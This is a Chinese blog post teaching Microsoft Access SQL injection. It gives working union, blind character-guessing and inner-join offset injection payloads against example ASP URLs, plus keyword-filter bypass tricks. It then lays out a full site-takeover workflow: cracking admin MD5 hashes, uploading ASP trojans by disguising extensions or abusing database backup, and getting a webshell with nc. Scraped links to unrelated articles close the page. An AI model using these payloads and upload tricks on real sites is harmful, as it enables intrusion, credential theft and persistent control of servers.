access注入
前面有自己总结详细的mysql注入,自己access注入碰到的比较少,虽然比较简单,但是这里做一个总结
- union联合查询法:
因为union前后字段数相同,所以可以先用order by 22 使查询结果按列序排序,确定当前有多少列,顺便直接爆出显示位 逐字猜解法:
查表:and exists (select * from 表名)
查列:and exists (select 列名 from 表名) //存在就返回正常页面,不存在就报错
查数据:1.确定此条数据字段(列名)长度 2.确定asc数据(asc编码)
and (select top 1 len(列名) from admin)=5 //top1 仅显示第一条数据(select结果集元组),避免页面出错 经测试,此为此列第一条数据的长度
and (select top 1 len(列名) from admin)>5 //判断是不是长度大于5
and (select top 1 asc(mid(列名,位数,1)) from admin)=97 //mid()用于从文本中提取字段 mid(列名,起始位置,要返回的字符数)
and (select top 1 asc(mid(user,1,1)) from admin)=97 //返回页面正常没有报错,说明user列第一条数据第一位是a,
and (select top 1 asc(mid(user,2,1)) from admin)=97 //user列第2条数据第一位是b....一直猜到len(列名)长度

acces偏移注入:
解决表明知道列名不知道的情况,转自即刻安全Access数据库手工偏移注入详细讲解
1.猜字段数
http://www.xxx.com/show.asp?id=123 order by 20 页面返回正确
http://www.xxx.com/show.asp?id=123 order by 21 页面返回错误
2.猜表名:
http://www.xxx.com/show.asp?id=123 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from admin
返回正确,说明存在admin表,但是紧接着,爆出的数字地方,放入常用的字段始终报错,并不能猜出正确的字段,进而:
3.猜表下的字段数:
为了让语句正确,用来加长字段数:
http://www.xxx.com/show.asp?id=123 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19, from admin(页面报错)
http://www.xxx.com/show.asp?id=123 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from admin(页面报错)
http://www.xxx.com/show.asp?id=123 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,* from admin(页面报错)
http://www.xxx.com/show.asp?id=123 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from admin(页面正确)
此时就发现了admin表下有四个字段(20-16=4)。
4.inner join 连接查询:
ps:inner join查询是将一张表虚拟成多张相同的表来进行查询(我自己是这么理解的。)
首先用两张表来进行查询,应该减去重复的部分也就是这四个字段,不能让这四个字段算两次,这样的话20-4-4=12,语句中只需要罗列出12个数字。
继续,
http://www.xxx.com/show.asp?id=123 union select 1,2,3,4,5,6,7,8,9,10,11,12,* from (admin as a inner join admin as b on a.id = b.id)
http://www.xxx.com/show.asp?id=123 union select 1,2,3,4,5,6,7,8,9,10,11,12,a.id,b.id,* from (admin as a inner join admin as b on a.id = b.id)
上面的这两种情况还是报错,那么我们继续再来添加一张表,再减去重复的四个字段,20-4-4-4=8,语句中只需要罗列出8个数字。
再次使用inner join查询:
http://www.xxx.com/show.asp?id=123 union select 1,2,3,4,5,6,7,8,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)
页面返回正确,成功得到md5密码。
access偏移注入原理:*所表示的字段的顺序被打乱,通过使用inner join查询,从而有可能爆出用户和密码的字段数据。
下面再分享和补全access注入过程中的经验和方法
经验小结:
1.有些人会过滤select、update、delete这些关键字,但偏偏忘记区分大小写,所以大家可以用selecT这样尝试一下。
2.在猜不到字段名时,不妨看看网站上的登录表单,一般为了方便起见,字段名都与表单的输入框取相同的名字。
3.特别注意:地址栏的+号传入程序后解释为空格,%2B解释为+号,%25解释为%号,具体可以参考urlencode的相关介绍。
4.用get方法注入时,IIS会记录你所有的提交字符串,对post方法做则不记录,所以能用post的网址尽量不用get。
- 猜解access时只能用ascii逐字解码法,SQLServer也可以用这种方法,只需要两者之间的区别即可,但是如果能用SQLServer的报错信息把值暴露出来,那效率和准确率会有极大的提高。
常规拿站方法:
1.用啊D或明小子各种工具扫描检测是否有注入点。
2.扫描access里的管理员的帐号和密码,但是密码一般都是用MD5加密过的,大家可以到MD5网站里破解。
3.判断注入:
‘ 不正常
and 1=1 正常
and 1=2 不正常
4.判断数据库类型
5.猜解表名,列名
6.检测字段长度
order by n n的数值不停地变化,在正常和不正常之间选择正常的字段值为正确的长度
7.扫描网站的后台地址,然后用破解出来的帐号和密码登录后台,找到文件上传的地方,利用asp上传漏洞上传asp木马,但是有不少网 站都限制了上传ASP文件的类型,一般来说ASP为后缀的文件都不允许上传。但是这种限制是可以被黑客突破的。比如:把asp扩展名修改 成asa,aaspsp,cer后进行上传asp木马。
获得webshell如不能上传asa,aaspsp,cer文件格式,也可以利用备份功能,首先找到文件上传功能,上传一个ASP木马但是要注意:把 ASP木马的扩展名改成JPG或GIF后缀的,然后找到后台的数据库备份把要备份的文件后缀改成.asp。
获得WEBSHELL或用采取上传一个正常的JPG图片用抓包工具抓包得到图片的上传路径和cookie,然后利用桂林老兵或明小子进行上传的欺 骗方式来上传asp木马,如上传失败就修改数据包再用nc上传获得webshell。
access注入的更多相关文章
- 复习ACCESS注入
0x00前言:在学校看完了ACCESS注入.但当时并没有电脑,所以做好了笔记 回到家自己搭建了一个有ACCESS注入的站进行练习,虽然这可能没有什么用处 毕竟现在大多的网站都有waf或安全狗.而且AC ...
- SQLMAP学习笔记1 access注入
SQLMAP学习笔记1 access注入 Sqlmap是开源的自动化SQL注入工具,由Python写成,具有如下特点: 完全支持MySQL.Oracle.PostgreSQL.Microsoft S ...
- WEB安全 asp+access注入
asp+access注入 数据库 (access数据库没有数据库名) 表名 字段(列名) 记录(行,内容) 注入常用函数: top n 表示查询结果的第n个记录 len() 函数返回文本字段中值的长度 ...
- access注入篇+sqlmap
access数据库的来历,我就不说了,因为我懒的记,就算记了感觉上也没大多用处,只要记得数据库的结构就行了.先是表名,然后是列名,再者就是数据,我发个实际的图吧,大概就是这么一个结构. 下面,开始说下 ...
- 1.羽翼sqlmap学习笔记之Access注入
使用sqlmap工具进行Acces注入:1.判断一个url是否存在注入点,根据返回数据判断数据库类型: .sqlmap.py -u "http://abcd****efg.asp?id=7& ...
- access注入 - 联合查询
1.access数据库简介 简介:Microsoft Office Access是由微软发布的关系数据库管理系统.它结合了 MicrosoftJet Database Engine 和 图形用户界面两 ...
- 老调重弹-access注入过主机卫
本文作者:i春秋签约作家——非主流 大家好,我是来自农村的非主流,今天就给在座的各位表演个绝活. 首先打开服务器上安装了主机卫士的网站. 尝试在变量id的值后面插入万恶的单引号,根据报错,我们可以分析 ...
- WEB安全 ACCESS 注入、盲注脚本
http://www.xxx.cn/cp.asp?classid=3http://www.xxx.cn/cp.asp?classid=3 and //有拦截关键字http://www.xxx.cn/c ...
- sql注入--access
access数据库结构: 表名 --> 列名 --> 数据 access注入攻击片段 联合查询法: (1) 判断注入点: ?id=1 and 1=1 ; ?id=1 and 1 ...
随机推荐
- koa 基础(七)错误处理中间件
1.错误处理中间件 app.js /** * 错误处理中间件 */ // 引入模块 const Koa = require('koa'); const router = require('koa-ro ...
- A Beginner's Guide To Understanding Convolutional Neural Networks Part One (CNN)笔记
原文链接:https://adeshpande3.github.io/adeshpande3.github.io/A-Beginner's-Guide-To-Understanding-Convolu ...
- 客户端连接oracle11出现提示ORA-12514:错误解决方法
近来安装oracle11g,使用后发现plsql和sqldeveloper等客户端工具不能用,提示以下错误: 1.ORA-12514: TNS: 程序无法监听 原因:OracleOraDb11g_ho ...
- Mybaits-Maven项目之逆向工程(代码自动生成)
1.添加maven插件,让maven环境支持mybatis-generator组件 在pom.xml里面添加如下代码: <project xmlns="http://maven.apa ...
- 阶段3 3.SpringMVC·_02.参数绑定及自定义类型转换_3 配置解决中文乱码的过滤器
输入中文 中文后台接收到 全部乱码 springMvc提供了过滤器 配置过滤器 characterEncodingFilter是首字母小写当做起的名称.当然这里也可以任意起名字.为了对应所以修改类名首 ...
- 网站集成Paypal
国际化Paypal是一个不错的选择,现在很多的app都是H5,所以网站集成即可操作了. 最方便快捷的集成方式,目前Paypal的网站收款需要企业账号,不过它最开始的老版本是可以个人账号收款的.如下是个 ...
- 页面Demo实现
1.实现效果如下所示: 此Demo涉及到的知识点有: 1.页面布局思路; 2.TableViewCell实现单元格动态行高; 3.设置字符串中数字的颜色; 4.Cell圆角实现方法之一; 5.Cell ...
- C语言:“冒泡排序”与“二分法”
1.冒泡排序: what:将元素进行两两比较,大的(小的)向后排. when:数组中有多个元素,需要进行比较排序比较的时候使用. how:N个数字来排队,两两比较小靠前.(升序) 外层循环:N-1(控 ...
- 让nginx 的ssi支持include相对路径
好久没接触nginx了,今天帮同事解决一个客户的问题,顺便记录下:version : nginx-1.6.2问题描述:客户的files.shtml里面include一个网站的头部文件( <!–# ...
- RedisTemplate5种数据结构操作
1 操作字符串 redisTemplate.opsForValue(); 2 操作hash redisTemplate.opsForHash(); 3 操作list redisTemplate.ops ...